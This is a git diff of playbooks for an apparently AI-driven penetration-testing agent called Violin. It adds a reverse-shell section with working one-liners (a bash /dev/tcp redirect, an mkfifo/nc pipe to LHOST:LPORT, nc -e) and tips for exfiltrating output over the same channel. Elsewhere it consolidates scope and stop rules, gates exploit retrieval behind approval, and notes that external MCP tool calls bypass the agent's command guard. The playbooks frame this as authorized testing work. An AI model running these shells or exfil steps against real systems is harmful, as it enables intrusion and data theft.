Skip in black-box engagements. -### Workflow +--- -```mermaid -flowchart LR - V[Validate finding] --> R[Research fix pattern] - R --> W[Write patch/diff] - W --> A[Apply & verify] - A --> D[Document in report] -``` +## Supported Reverse-Shell Pattern (run / return output) -### 1. Research Fix Pattern +Reverse shells are only sanctioned when they are (a) in the approved scope, +(b) authorized in writing, and (c) run **against the target host** — never +against your own assessment box or an out-of-scope system. -For the vulnerability class, determine the canonical fix: +The agent runs shell commands on the **Violin host**; it does **not** have a +live interactive channel into a remote shell it spawns. Treat a spawned remote +shell as fire-and-forget and capture its output by one of the supported +mechanisms below. -| Vuln Class | Fix Pattern | -|------------|-------------| -| SQLi | Parameterized query / prepared statement | -| XSS | Output encoding + CSP header | -| Command Injection | Avoid shell invocation; use parameterized process API | -| SSRF | URL allowlist + disable redirect following | -| Path Traversal | Validate path against allowed base directory | -| IDOR | Server-side ownership check on every object access | -| JWT | Validate algorithm whitelist; use RS256/ES256 | +| Mechanism | When | Notes | +|-----------|------|-------| +| **nc `-e` / `-c` pipe to a listener** | Quick connectivity PoC | Flaky: depends on `nc` build (`-e` not in traditional BSD nc), firewall on the listener side, and a long-lived local `nc -lvnp` you must keep open. Prefer the redirect form. | +| **`bash -i >& /dev/tcp// 0>&1`** | Bash target | Standard, reliable when bash + outbound TCP are allowed. Capture output by piping through `tee` to a file you later `read_file`. | +| **Named pipe + `nc` read loop** (`mkfifo /tmp/p; cat /tmp/p \| nc LHOST LPORT \| /bin/sh >/tmp/p`) | Stable interactive-ish shell | Captures both stdin echo and stdout; write transcripts to a file under `$ENG_DIR/evidence/exploitation/`. | +| **Command output redirected to a file, exfil by `cat`/base64 over the same channel** | When nc exfil is blocked | Avoid raw `nc` exfil of large binaries — it is unreliable and noisy. | -### 2. Write the Fix +> ⚠️ **Non-local backend limitation:** if the agent's command execution runs on +> a backend other than the local Violin host (e.g. a remote Modal/sandbox +> worker), a reverse shell it spawns cannot reach a listener on your laptop, and +> the agent has **no way to read the remote shell's stdout live**. In that case, +> prove the shell with a one-shot command that writes to a known location +> (`whoami > /tmp/pwn.txt`) and retrieve it via an approved file-read, rather +> than relying on interactive output. -Use `write_file` to generate a patch against the vulnerable code: +> ⚠️ **Flaky exfil:** raw `nc` file exfil is lossy and often drops the tail of +> large outputs. For evidence, prefer writing the result to a file and pulling it +> with an approved read over the control channel, or `base64`-encode and chunk it. -```bash -# Example: SQLi fix patch -write_file path="$ENG_DIR/evidence/exploitation//fix.patch" content=" ---- a/src/user_api.php -+++ b/src/user_api.php -@@ -10,7 +10,7 @@ --function getUser($id) { -- $query = \"SELECT * FROM users WHERE id = $id\"; -+function getUser($id) { -+ $stmt = $db->prepare(\"SELECT * FROM users WHERE id = ?\"); -+ $stmt->execute([$id]); -" -``` - -### 3. Apply & Re-Verify - -```bash -# Apply the fix (ask approval first via clarify) -cd /path/to/target/source -git apply "$ENG_DIR/evidence/exploitation//fix.patch" - -# Re-run the verification command — should now fail -sqlmap -u 'https://target.com/page?id=1' --batch --current-db --no-cast --time-sec=2 -# Expected: "all tested parameters do not appear to be injectable" -``` - -### 4. Document - -- Record the fix path in the finding record -- Attach the patch file as evidence -- Include in the report's remediation section - -> 🔧 **Auto-patch is optional.** Only attempt fixes when (a) you have access to the source code, (b) the user approves, and (c) you can verify the fix doesn't break functionality. In black-box engagements, skip auto-patch. +### Documentation after a reverse-shell PoC +- Record the listener (`LHOST:LPORT`), payload, and the exact command in the + finding's Evidence / Notes column via `record-ptt`. +- Save any captured transcript to `$ENG_DIR/evidence/exploitation//`. +- Note whether the shell was interactive or one-shot (non-local backend). --- diff --git a/skills/pentest/playbooks/idor-access-control.md b/skills/pentest/playbooks/idor-access-control.md index 7b6484a..3d60937 100644 --- a/skills/pentest/playbooks/idor-access-control.md +++ b/skills/pentest/playbooks/idor-access-control.md @@ -157,9 +157,7 @@ Store in `$ENG_DIR/evidence/exploitation/idor-access-control/` with descriptive || **JWT signing** | Always validate JWT signature; reject `alg: none`; use RS256/ES256 not HS256 if possible | ## Stop Conditions -- Payload causes unexpected server behavior (crash, timeout, full response change) → pause and assess -- Access to sensitive data discovered that exceeds scope → stop and notify -- Exploitation attempt triggers WAF/IDS alert → note and attempt bypass or escalate +- Generic baseline — see `references/shared-safety.md` §Generic Stop Conditions (pause on unexpected behavior, scope breach, or WAF/IDS trip). ## Blocked Actions - **Do NOT** modify or delete another user's data (no PUT, PATCH, DELETE on other users' resources) diff --git a/skills/pentest/playbooks/input-validation.md b/skills/pentest/playbooks/input-validation.md index 9850fe5..6c223e2 100644 --- a/skills/pentest/playbooks/input-validation.md +++ b/skills/pentest/playbooks/input-validation.md @@ -171,15 +171,10 @@ curl -X POST "https://target.com/api/files/upload" \ --- ## Stop Conditions -- Payload causes unexpected server behavior (crash, timeout, full response change) → pause and assess -- Access to sensitive data discovered that exceeds scope → stop and notify -- Exploitation attempt triggers WAF/IDS alert → note and attempt bypass or escalate +- Generic baseline — see `references/shared-safety.md` §Generic Stop Conditions (pause on unexpected behavior, scope breach, or WAF/IDS trip). ## Blocked Actions -- Destructive database operations (DROP, DELETE, UPDATE without SELECT) -- Exfiltrating data beyond minimal proof-of-concept -- Persistent access or backdoors -- Lateral movement from the vulnerable service +- Generic baseline — see `.hermes.md` §Forbidden Behaviour (destructive DB ops, exfiltration beyond PoC, persistence, lateral movement all prohibited there). ## Remediation diff --git a/skills/pentest/playbooks/llm-prompt-injection.md b/skills/pentest/playbooks/llm-prompt-injection.md index d0fe7a5..bdec189 100644 --- a/skills/pentest/playbooks/llm-prompt-injection.md +++ b/skills/pentest/playbooks/llm-prompt-injection.md @@ -122,15 +122,10 @@ curl -s -X POST http://target.com/chatbot/conversation \ ``` ## Stop Conditions -- Payload causes unexpected server behavior (crash, timeout, full response change) → pause and assess -- Access to sensitive data discovered that exceeds scope → stop and notify -- Exploitation attempt triggers WAF/IDS alert → note and attempt bypass or escalate +- Generic baseline — see `references/shared-safety.md` §Generic Stop Conditions (pause on unexpected behavior, scope breach, or WAF/IDS trip). ## Blocked Actions -- Destructive database operations (DROP, DELETE, UPDATE without SELECT) -- Exfiltrating data beyond minimal proof-of-concept -- Persistent access or backdoors -- Lateral movement from the vulnerable service +- Generic baseline — see `.hermes.md` §Forbidden Behaviour (destructive DB ops, exfiltration beyond PoC, persistence, lateral movement all prohibited there). ## Remediation diff --git a/skills/pentest/playbooks/nosql-injection.md b/skills/pentest/playbooks/nosql-injection.md index c4a509c..6f50432 100644 --- a/skills/pentest/playbooks/nosql-injection.md +++ b/skills/pentest/playbooks/nosql-injection.md @@ -145,15 +145,10 @@ curl -X POST https://target.com/rest/user/login \ ``` ## Stop Conditions -- Payload causes unexpected server behavior (crash, timeout, full response change) → pause and assess -- Access to sensitive data discovered that exceeds scope → stop and notify -- Exploitation attempt triggers WAF/IDS alert → note and attempt bypass or escalate +- Generic baseline — see `references/shared-safety.md` §Generic Stop Conditions (pause on unexpected behavior, scope breach, or WAF/IDS trip). ## Blocked Actions -- Destructive database operations (DROP, DELETE, UPDATE without SELECT) -- Exfiltrating data beyond minimal proof-of-concept -- Persistent access or backdoors -- Lateral movement from the vulnerable service +- Generic baseline — see `.hermes.md` §Forbidden Behaviour (destructive DB ops, exfiltration beyond PoC, persistence, lateral movement all prohibited there). ## Remediation diff --git a/skills/pentest/playbooks/observability-failures.md b/skills/pentest/playbooks/observability-failures.md index c1d3d92..04616ef 100644 --- a/skills/pentest/playbooks/observability-failures.md +++ b/skills/pentest/playbooks/observability-failures.md @@ -137,15 +137,10 @@ curl -s "https://target.com/api/Products/invalid" 2>&1 | grep -oE "(Error:|at |S --- ## Stop Conditions -- Payload causes unexpected server behavior (crash, timeout, full response change) → pause and assess -- Access to sensitive data discovered that exceeds scope → stop and notify -- Exploitation attempt triggers WAF/IDS alert → note and attempt bypass or escalate +- Generic baseline — see `references/shared-safety.md` §Generic Stop Conditions (pause on unexpected behavior, scope breach, or WAF/IDS trip). ## Blocked Actions -- Destructive database operations (DROP, DELETE, UPDATE without SELECT) -- Exfiltrating data beyond minimal proof-of-concept -- Persistent access or backdoors -- Lateral movement from the vulnerable service +- Generic baseline — see `.hermes.md` §Forbidden Behaviour (destructive DB ops, exfiltration beyond PoC, persistence, lateral movement all prohibited there). ## Remediation diff --git a/skills/pentest/playbooks/path-traversal.md b/skills/pentest/playbooks/path-traversal.md index 82befed..b9b52f0 100644 --- a/skills/pentest/playbooks/path-traversal.md +++ b/skills/pentest/playbooks/path-traversal.md @@ -152,9 +152,7 @@ Store in `$ENG_DIR/evidence/exploitation/path-traversal/` with a descriptive fil || **Application firewall** | Block path-traversal patterns at the WAF / reverse proxy level | ## Stop Conditions -- Payload causes unexpected server behavior (crash, timeout, full response change) → pause and assess -- Access to sensitive data discovered that exceeds scope → stop and notify -- Exploitation attempt triggers WAF/IDS alert → note and attempt bypass or escalate +- Generic baseline — see `references/shared-safety.md` §Generic Stop Conditions (pause on unexpected behavior, scope breach, or WAF/IDS trip). ## Blocked Actions - **Do NOT** read or store sensitive configuration files containing secrets (e.g., `.env`, `config/database.yml`, `wp-config.php`, `web.config` with connection strings) diff --git a/skills/pentest/playbooks/recon.md b/skills/pentest/playbooks/recon.md index 93fd908..8e9a1f9 100644 --- a/skills/pentest/playbooks/recon.md +++ b/skills/pentest/playbooks/recon.md @@ -21,7 +21,14 @@ --- > **Set this at the start of the engagement:** > ```bash -> ENG_DIR="engagements/-$(date +%F)" +> # Resolve ENG_DIR to the SAME canonical tree the scoping bootstrap created. +> # Prefer the session anchor from scoping.md §0; fall back to the guard CLI so +> # the path still matches the plugin even on a fresh shell (prevents a +> # divergent /home/kali/engagements tree — Issue D). +> if [ -z "${VIOLIN_ENG_ROOT:-}" ]; then +> VIOLIN_ENG_ROOT="$(python scripts/violin_guard.py eng-root 2>/dev/null | sed -n 's/^ENG_ROOT=//p')" +> fi +> ENG_DIR="${VIOLIN_ENG_ROOT:-$HOME}/engagements/-$(date +%F)" > mkdir -p "$ENG_DIR/evidence/recon/{passive,tech,active}" > echo "Project: $ENG_DIR" > ``` @@ -369,16 +376,7 @@ Dispatch four independent reconnaissance agents to run simultaneously: | **Agent C** | Web fingerprinting + Technology detection | | **Agent D** | OSINT (GitHub, cloud storage, theHarvester) | -Use `delegate_task` with a tasks array to dispatch parallel recon agents: - -- **Agent A**: DNS enumeration + crt.sh + subdomains -- **Agent B**: Port scan + service detection -- **Agent C**: Web fingerprinting + tech detection -- **Agent D**: OSINT gathering - -Each task gets its own goal and context. Results merge into the evidence directory. - -**Merge results** from all four agents into a single evidence directory before attack surface summary. +Use `delegate_task` with a tasks array — each task gets its own goal and context. Results merge into the evidence directory before attack-surface summary. --- @@ -399,40 +397,9 @@ For SPA-heavy targets, combine browser interaction with bundle/API mining: ``` $ENG_DIR/evidence/recon/ -├── passive/ -│ ├── dig-soa.txt -│ ├── dig-ns.txt -│ ├── dig-mx.txt -│ ├── dig-txt.txt -│ ├── subfinder.txt -│ ├── amass.txt -│ ├── dnsenum.xml -│ ├── crtsh.txt -│ ├── crtsh-raw.json -│ ├── wayback.json -│ ├── wayback-urls.txt -│ ├── theharvester.html -│ ├── github-results.txt -│ └── cloud.txt -├── tech/ -│ ├── whatweb.json -│ ├── headers.txt -│ ├── response-headers.txt -│ └── waf-detect.txt -└── active/ - ├── nmap-top1000.* (.nmap, .gnmap, .xml) - ├── nmap-full-tcp.* - ├── nmap-udp.* - ├── nmap-services.* - ├── nmap-vuln.* - ├── ffuf-common.json - ├── gobuster-dirs.txt - ├── feroxbuster.txt - ├── nuclei-cves.txt - ├── nuclei-exposures.txt - ├── nuclei-misconfig.txt - ├── nuclei-all.txt - └── subjack-results.txt +├── passive/ (dig-*, subfinder.txt, amass.txt, dnsenum.xml, crtsh*, wayback*, theharvester.html, github-results.txt, cloud.txt) +├── tech/ (whatweb.json, headers.txt, response-headers.txt, waf-detect.txt) +└── active/ (nmap-*, ffuf-common.json, gobuster-dirs.txt, feroxbuster.txt, nuclei-*.txt, subjack-results.txt) ``` ### Key Commands diff --git a/skills/pentest/playbooks/redirects-unvalidated.md b/skills/pentest/playbooks/redirects-unvalidated.md index a1a017c..66c43b2 100644 --- a/skills/pentest/playbooks/redirects-unvalidated.md +++ b/skills/pentest/playbooks/redirects-unvalidated.md @@ -131,15 +131,10 @@ curl -v "https://target.com/login?redirect=https://target.com.evil.com" --- ## Stop Conditions -- Payload causes unexpected server behavior (crash, timeout, full response change) → pause and assess -- Access to sensitive data discovered that exceeds scope → stop and notify -- Exploitation attempt triggers WAF/IDS alert → note and attempt bypass or escalate +- Generic baseline — see `references/shared-safety.md` §Generic Stop Conditions (pause on unexpected behavior, scope breach, or WAF/IDS trip). ## Blocked Actions -- Destructive database operations (DROP, DELETE, UPDATE without SELECT) -- Exfiltrating data beyond minimal proof-of-concept -- Persistent access or backdoors -- Lateral movement from the vulnerable service +- Generic baseline — see `.hermes.md` §Forbidden Behaviour (destructive DB ops, exfiltration beyond PoC, persistence, lateral movement all prohibited there). ## Remediation diff --git a/skills/pentest/playbooks/reporting.md b/skills/pentest/playbooks/reporting.md index 134b085..86e9168 100644 --- a/skills/pentest/playbooks/reporting.md +++ b/skills/pentest/playbooks/reporting.md @@ -1,10 +1,7 @@ # Reporting Playbook -> **📁 Project structure:** All reporting evidence goes under `engagements/-/evidence/reporting/`. -> ```bash -> ENG_DIR="engagements/-$(date +%F)" -> mkdir -p "$ENG_DIR/evidence/reporting" -> ``` +> **📁 Project structure:** All reporting evidence goes under `$ENG_DIR/evidence/reporting/`. +> Resolve `$ENG_DIR` once via `references/shared-safety.md` §ENG_DIR Resolution, then `mkdir -p "$ENG_DIR/evidence/reporting/"`. ## Capabilities (this phase) @@ -30,26 +27,36 @@ Before generating the report, systematically review all evidence collected durin 1. **Read the hypothesis board** — `read_file path="$ENG_DIR/hypotheses.md"` to see all theories and their resolution status 2. **Locate evidence** — navigate to `$ENG_DIR/evidence/` and enumerate all subdirectories and files -3. **Verify reproducibility** — for each finding, confirm the evidence directory contains: - - The exact command(s) used - - The raw output produced - - Any supporting files (screenshots, logs, packet captures) -3. **Categorize findings** into three tiers: +3. **Verify reproducibility** — each validated finding has raw evidence plus a `templates/verification-receipt.yaml` receipt with `state: validated`, `oracle_kind`, `actual_signal`, and artifact paths. +4. **Categorize findings** into three tiers: | Tier | Criteria | Action | |------|----------|--------| -| **Validated** | Reproducible, confirmed, in-scope, with clear evidence | Include in report findings | +| **Validated** | Reproducible, in-scope, oracle-aware receipt, saved evidence | Include in report findings | | **Candidate** | Potential issue but insufficient evidence, intermittent, or unconfirmed | Present as potential — requires further investigation | | **Rejected** | Tested and confirmed not exploitable, false positive, or out-of-scope | Briefly mention as tested | ### Checklist - [ ] All evidence directories enumerated -- [ ] Every validated finding has reproducible commands in evidence -- [ ] Every validated finding has raw output saved +- [ ] Every validated finding has a `state: validated` receipt from `templates/verification-receipt.yaml` +- [ ] Every receipt names `proof_type`, `oracle_kind`, `actual_signal`, and artifacts - [ ] Evidence timestamps are logged - [ ] Screenshots/PCAPs are labelled and referenced +## Finding Disposition Gate + +Before final report generation, every candidate must be classified: + +| State | Report treatment | +|---|---| +| `validated` | Include as confirmed finding with receipt + evidence path | +| `rejected` | Exclude from confirmed findings; optionally summarize in appendix | +| `escalated` | Include in “Manual Review Required,” not as confirmed vulnerability | +| `candidate` | Block final report until disposition changes | + +A finding is report-ready only when no `candidate` entries remain in `$ENG_DIR/hypotheses.md` or the verification receipts directory. + ## Finding Triage ### Validated Findings @@ -61,13 +68,60 @@ For each validated finding, prepare: - **Impact assessment** — what an attacker could realistically achieve - **CVSS vector and score** — if applicable +### Atomic Finding Rule + +Each confirmed issue must be an atomic finding: one root cause, one affected asset or asset class, one reproducible proof, and one remediation owner. Do not bundle unrelated vulnerabilities, endpoints, tenants, roles, or proof paths in a single finding. + +Split into separate findings when root cause, affected asset, verification +receipt, proof command, remediation owner, CVSS vector, severity, or exploit +preconditions differ. Use a roll-up only as a summary for repeated instances +with shared root cause and remediation; the roll-up links to the separate +atomic findings and their receipts. + +### Attack Chain Roll-Up + +Use an attack chain roll-up when multiple validated atomic findings combine into +a higher-impact path. The roll-up is a narrative summary only: it references the +atomic findings, prerequisite findings, resulting access, and chain impact, but +must not replace any finding's receipt, evidence path, severity rationale, or +remediation. + +### CVSS 4.0 Severity Crosswalk + +For every validated L3/L4 finding, fill or link `templates/cvss4-crosswalk.md` during report drafting. The crosswalk must include CVSS 3.1 and CVSS 4.0 vectors when feasible, calculator scores, selected report severity, and the anti-under-rating ratify pass. + +The severity must not be lower than the demonstrated impact. If CVSS 3.1 and CVSS 4.0 disagree, document the justification when CVSS 3.1 and CVSS 4.0 disagree and explain why the selected report severity is fair. + +Anti-under-rating checks: + +- Do not downgrade a validated L4 finding below High without explicit evidence-based justification and reviewer approval. +- Confirm sensitive data access, privilege escalation, code execution, cross-tenant access, or destructive impact is reflected in the final severity. +- Re-read the verification receipt and raw evidence before approving the severity. +- Do not accept calculator defaults that leave proven confidentiality, integrity, or availability impact at `None` or `Low`. + +### Detection Engineering Deliverable + +For each actionable validated finding, create or link a detection handoff using `templates/detection-engineering.md`. + +Required content: + +- Finding ID and verification receipt path +- data sources and product/log coverage assumptions +- detection logic in the format the client can use (Sigma, Splunk SPL, Elastic KQL, or product-native logic) +- triage steps for analysts +- false positive notes and safe tuning boundaries +- validation command or replay, with saved evidence path + +Do not invent telemetry. If logs, EDR events, SIEM indexes, or product fields were not observed during the engagement, mark the deliverable as `Needs Client Data` and state exactly what the client must confirm. + ### Candidate Findings -Present candidates as potential issues requiring further investigation: +Candidates block final report generation and must be moved to `validated`, `rejected`, or `escalated` before delivery: - State clearly that the finding is unconfirmed - Describe what was observed and why it may be a concern - Recommend specific follow-up actions for the client +- If client review is required, move it to `escalated` and place it under “Manual Review Required” ### Rejected Findings @@ -79,6 +133,12 @@ Briefly mention rejected findings to demonstrate thorough testing: ## Report Generation +### Output Budget + +- The report may reference large raw artifacts, but the chat handoff and report body should use a short decisive excerpt plus the artifact path. +- Avoid dumping raw command output into findings; put full output in the appendix or evidence directory and link it from the finding. +- Never summarize away validation-critical details: command, timestamp, actual signal, receipt state, and artifact path must remain available in the raw artifacts. + ### Steps 1. **Load the template** — open `templates/report-template.md` diff --git a/skills/pentest/playbooks/scoping.md b/skills/pentest/playbooks/scoping.md index aba4ec3..ec23be9 100644 --- a/skills/pentest/playbooks/scoping.md +++ b/skills/pentest/playbooks/scoping.md @@ -25,11 +25,6 @@ Run this before capturing any data — it creates the directory structure, PTT, and hypothesis board for this engagement: ```bash -# Drop any stale pending-sync lock from a PRIOR session (approved a command, -# ran it, but exited before sync-done). Without this a leftover lock wedges the -# first command of the new session (root-cause fix, issue 3). -python scripts/violin_guard.py sync-clear --eng-dir "$ENG_DIR" 2>/dev/null || true - # Resolve an ABSOLUTE ENG_DIR under the canonical engagement root so the skill # tree and the violin-guard plugin tree never diverge (root-cause fix). The # `eng-root` subcommand strips any leading "engagements/" and resolves the path @@ -42,6 +37,19 @@ if [ -z "$ENG_DIR" ]; then fi echo "ENG_DIR=$ENG_DIR" +# Drop any stale pending-sync lock from a PRIOR session (approved a command, +# ran it, but exited before sync-done). This must run AFTER ENG_DIR is resolved. +python scripts/violin_guard.py sync-clear --eng-dir "$ENG_DIR" 2>/dev/null || true + +# Publish the canonical engagement root as a SESSION-PERSISTENT absolute +# anchor so every phase playbook converges on the SAME tree. The guard's +# core.py already honors $VIOLIN_ENG_ROOT, so this also keeps the plugin and +# the skill tree aligned. Without this, phase playbooks re-declare a bare +# relative "engagements/..." path that resolves against the agent's CWD +# (e.g. /home/kali) and spawns a second, divergent tree (Issue D). +export VIOLIN_ENG_ROOT="$(dirname "$ENG_DIR")" +echo "VIOLIN_ENG_ROOT=$VIOLIN_ENG_ROOT" >> /tmp/eng_ctx.sh + mkdir -p "$ENG_DIR"/{scope,evidence/{recon/{passive,tech,active},vuln-research,exploitation,reporting,retrospective},state} # Save for later phases echo "ENG_DIR=$ENG_DIR" >> /tmp/eng_ctx.sh @@ -57,6 +65,21 @@ sed -i "s/ / $(date +%F)/" "$ENG_DIR/hypotheses # Initialize command history echo "# Command History — $(date +%F)" > "$ENG_DIR/state/history.md" +# Bootstrap resumable checkpoint state from the minimal template. +cp skills/pentest/templates/checkpoint.json "$ENG_DIR/state/checkpoint.json" +python - <<'PY' +import json, os, pathlib, datetime +path = pathlib.Path(os.environ["ENG_DIR"]) / "state" / "checkpoint.json" +data = json.loads(path.read_text(encoding="utf-8")) +data.update({ + "engagement_id": pathlib.Path(os.environ["ENG_DIR"]).name, + "eng_dir": os.environ["ENG_DIR"], + "phase_current": "SCOPING", + "last_checkpoint": datetime.datetime.now(datetime.UTC).replace(microsecond=0).isoformat().replace("+00:00", "Z"), +}) +path.write_text(json.dumps(data, indent=2) + "\n", encoding="utf-8") +PY + # Cross-reference prior sessions echo "# Cross-Referenced Findings" > "$ENG_DIR/evidence/cross-referenced.md" ``` diff --git a/skills/pentest/playbooks/security-misconfiguration.md b/skills/pentest/playbooks/security-misconfiguration.md index 240003a..21332e7 100644 --- a/skills/pentest/playbooks/security-misconfiguration.md +++ b/skills/pentest/playbooks/security-misconfiguration.md @@ -158,15 +158,10 @@ curl -s "https://target.com/ftp/" | grep -oE 'href="[^"]+"' | head -10 --- ## Stop Conditions -- Payload causes unexpected server behavior (crash, timeout, full response change) → pause and assess -- Access to sensitive data discovered that exceeds scope → stop and notify -- Exploitation attempt triggers WAF/IDS alert → note and attempt bypass or escalate +- Generic baseline — see `references/shared-safety.md` §Generic Stop Conditions (pause on unexpected behavior, scope breach, or WAF/IDS trip). ## Blocked Actions -- Destructive database operations (DROP, DELETE, UPDATE without SELECT) -- Exfiltrating data beyond minimal proof-of-concept -- Persistent access or backdoors -- Lateral movement from the vulnerable service +- Generic baseline — see `.hermes.md` §Forbidden Behaviour (destructive DB ops, exfiltration beyond PoC, persistence, lateral movement all prohibited there). ## Remediation diff --git a/skills/pentest/playbooks/security-through-obscurity.md b/skills/pentest/playbooks/security-through-obscurity.md index 9dc4fa6..ccf07be 100644 --- a/skills/pentest/playbooks/security-through-obscurity.md +++ b/skills/pentest/playbooks/security-through-obscurity.md @@ -185,15 +185,10 @@ curl -s "https://target.com/" | grep -oE '"[A-Za-z0-9+/=]{20,}"' | head -3 --- ## Stop Conditions -- Payload causes unexpected server behavior (crash, timeout, full response change) → pause and assess -- Access to sensitive data discovered that exceeds scope → stop and notify -- Exploitation attempt triggers WAF/IDS alert → note and attempt bypass or escalate +- Generic baseline — see `references/shared-safety.md` §Generic Stop Conditions (pause on unexpected behavior, scope breach, or WAF/IDS trip). ## Blocked Actions -- Destructive database operations (DROP, DELETE, UPDATE without SELECT) -- Exfiltrating data beyond minimal proof-of-concept -- Persistent access or backdoors -- Lateral movement from the vulnerable service +- Generic baseline — see `.hermes.md` §Forbidden Behaviour (destructive DB ops, exfiltration beyond PoC, persistence, lateral movement all prohibited there). ## Remediation diff --git a/skills/pentest/playbooks/ssti.md b/skills/pentest/playbooks/ssti.md index 2658ba5..a4c4187 100644 --- a/skills/pentest/playbooks/ssti.md +++ b/skills/pentest/playbooks/ssti.md @@ -109,15 +109,10 @@ grep -o '49' $ENG_DIR/evidence/exploitation/ssti/response.txt ``` ## Stop Conditions -- Payload causes unexpected server behavior (crash, timeout, full response change) → pause and assess -- Access to sensitive data discovered that exceeds scope → stop and notify -- Exploitation attempt triggers WAF/IDS alert → note and attempt bypass or escalate +- Generic baseline — see `references/shared-safety.md` §Generic Stop Conditions (pause on unexpected behavior, scope breach, or WAF/IDS trip). ## Blocked Actions -- Destructive database operations (DROP, DELETE, UPDATE without SELECT) -- Exfiltrating data beyond minimal proof-of-concept -- Persistent access or backdoors -- Lateral movement from the vulnerable service +- Generic baseline — see `.hermes.md` §Forbidden Behaviour (destructive DB ops, exfiltration beyond PoC, persistence, lateral movement all prohibited there). ## Remediation diff --git a/skills/pentest/playbooks/supply-chain.md b/skills/pentest/playbooks/supply-chain.md index 07a6cf1..aabae4e 100644 --- a/skills/pentest/playbooks/supply-chain.md +++ b/skills/pentest/playbooks/supply-chain.md @@ -165,15 +165,10 @@ nmap --script ssl-enum-ciphers -p 443 target.com 2>/dev/null | grep -E "(TLS|SSL --- ## Stop Conditions -- Payload causes unexpected server behavior (crash, timeout, full response change) → pause and assess -- Access to sensitive data discovered that exceeds scope → stop and notify -- Exploitation attempt triggers WAF/IDS alert → note and attempt bypass or escalate +- Generic baseline — see `references/shared-safety.md` §Generic Stop Conditions (pause on unexpected behavior, scope breach, or WAF/IDS trip). ## Blocked Actions -- Destructive database operations (DROP, DELETE, UPDATE without SELECT) -- Exfiltrating data beyond minimal proof-of-concept -- Persistent access or backdoors -- Lateral movement from the vulnerable service +- Generic baseline — see `.hermes.md` §Forbidden Behaviour (destructive DB ops, exfiltration beyond PoC, persistence, lateral movement all prohibited there). ## Remediation diff --git a/skills/pentest/playbooks/tools.md b/skills/pentest/playbooks/tools.md index 88f6610..d2afde6 100644 --- a/skills/pentest/playbooks/tools.md +++ b/skills/pentest/playbooks/tools.md @@ -1,45 +1,36 @@ # Tools Playbook -> **Note on tool environment:** Violin runs on whatever host shell Hermes uses (bash/zsh on Linux/macOS, git-bash on Windows). How you run tools depends on what the user chose during scoping. See `.hermes.md` for the full tool environment reference. +> **Tool environment:** Violin runs on the host shell Hermes uses (bash/zsh on Linux/macOS, git-bash on Windows). The prefix you use for every tool command depends on the scoping answer. See `.hermes.md` for the full environment reference and `references/tool-discovery.md` for discovery/install, `references/tool-catalog.md` for canonical per-tool usage. ## ⚠️ Mandatory: Tool Environment Detection -Run this **during scoping** (before question #8) to determine the host environment. Do not skip this step — it drives which command prefix you use for all subsequent tool commands: +Run this **during scoping** (before question #8) to pick the right command prefix: ```bash -# Detect the platform -uname -s - -# Check if Docker is available for Kali container +uname -s # Linux / Darwin / MINGW* / MSYS* command -v docker && docker info --format '{{.OSType}}' 2>/dev/null - -# Check key tool availability for tool in nmap sqlmap nuclei ffuf gobuster nikto whatweb searchsploit; do command -v "$tool" &>/dev/null && echo "[✓] $tool" || echo "[✗] $tool" done ``` -**If the host is Windows** (uname -s == MINGW* or MSYS*) and Docker is available: the recommended tooling path is the `kali-pentest` Docker container. Default to `docker exec kali-pentest ` or the `kali` shorthand. If Docker is not available on Windows, flag this to the user and suggest Docker Desktop or WSL2. +- **Windows** (MINGW*/MSYS*) + Docker → `docker exec kali-pentest ` (or `kali` shorthand). No Docker → flag to user (suggest Docker Desktop / WSL2). +- **Linux** (incl. Kali/Parrot) → use native tools directly; otherwise ask native-install vs Docker. +- **macOS** (Darwin) → ask brew-native vs Docker Kali. -**If the host is Linux** (uname -s == Linux): check for native tools. If they exist (Kali/Parrot), use them directly. If they don't, ask about native install vs Docker. +## Tool Availability Check (prefix by environment) -**If the host is macOS** (uname -s == Darwin): ask preference between brew-installed native tools and Docker Kali. - -## Tool Availability Check (Scoping-Dependent) - -**If using native tools** (Kali/Parrot Linux, brew macOS): ```bash +# Native (Kali/Parrot/brew): command -v || echo "NOT INSTALLED" -``` -**If using the Kali Docker container** (`kali-pentest`): -```bash +# Kali Docker (kali-pentest): kali command -v || echo "NOT INSTALLED" -kali --version + +# Other (WSL/SSH): adapt prefix to the scoping answer. ``` -**If using another environment** (WSL, remote SSH, etc.): -Adapt the command prefix to what the user specified during scoping. +Record for evidence: `for tool in nmap sqlmap nuclei ffuf gobuster nikto whatweb searchsploit subfinder; do command -v "$tool" &>/dev/null && echo "[✓] $tool" || echo "[✗] $tool"; done > tool-inventory-$(date +%F).txt` Redirect to a file for record-keeping: @@ -49,6 +40,23 @@ for tool in nmap sqlmap nuclei ffuf gobuster nikto whatweb searchsploit subfinde done > tool-inventory-$(date +%F).txt ``` +## Optional External Helper: pentest-ai / ptai + +Violin does NOT register `ptai mcp` as a live tool inside its session — MCP tool calls +bypass `violin_exec`/`check-command`. Use one of two gate-preserving patterns only: + +- **Sidecar import (preferred):** run ptai in its own session (`ptai start ` or under + Claude Code). Import oracle-VERIFIED findings + capsules as candidate evidence only; each + must produce a Violin receipt and re-pass `check-command` before `Validated`. Store capsules + under `$ENG_DIR/evidence/exploitation/ptai/`; `ptai replay` is the re-runnable proof. +- **Recipe wrapper:** translate a ptai probe into an explicit `terminal` command so it goes + through `violin_exec` and the guard. Violin drives; ptai logic is reused as a script, not as + a live MCP tool. + +Discovery: `command -v ptai` / `ptai --help | head -40`. +Rule: ptai output is NEVER auto-in-scope. Run `check-command` first, keep scope host-locked, +and save raw ptai output under `$ENG_DIR/evidence/exploitation/ptai/`. + --- ## Usage Patterns @@ -136,37 +144,32 @@ ffuf -u http:/// -H "Host: FUZZ." -w /usr/share/seclists/Discove searchsploit [ ...] ``` -**Mirror** (copy) an exploit to the current directory: +Candidate retrieval is deliberately outside the read-only search operation and requires separate approval: ```bash -searchsploit -m +violin_search_exploit product= version= ``` -**Examine** (read) the exploit content without copying: +The search tool never downloads or executes candidate code. ```bash -searchsploit -x +violin_search_exploit product= cve= ``` Example workflow: ```bash -searchsploit apache 2.4.49 -searchsploit -m 50383 -cat 50383.py +violin_search_exploit product=apache version=2.4.49 +``` --- ## Preconditions / Scope Gate - - Access to the target environment (local shell, SSH, or Docker) - Permissions to install tools if needed ## Stop Conditions - - Tool requires root/sudo but not authorized → flag and ask user - Tool installation fails → search for alternatives ## Blocked Actions - - Installing tools without user permission - Using tools that modify system state without approval - Running tools in a way that disrupts production services -``` \ No newline at end of file diff --git a/skills/pentest/playbooks/vuln-research.md b/skills/pentest/playbooks/vuln-research.md index 20c5bc7..e9ee8be 100644 --- a/skills/pentest/playbooks/vuln-research.md +++ 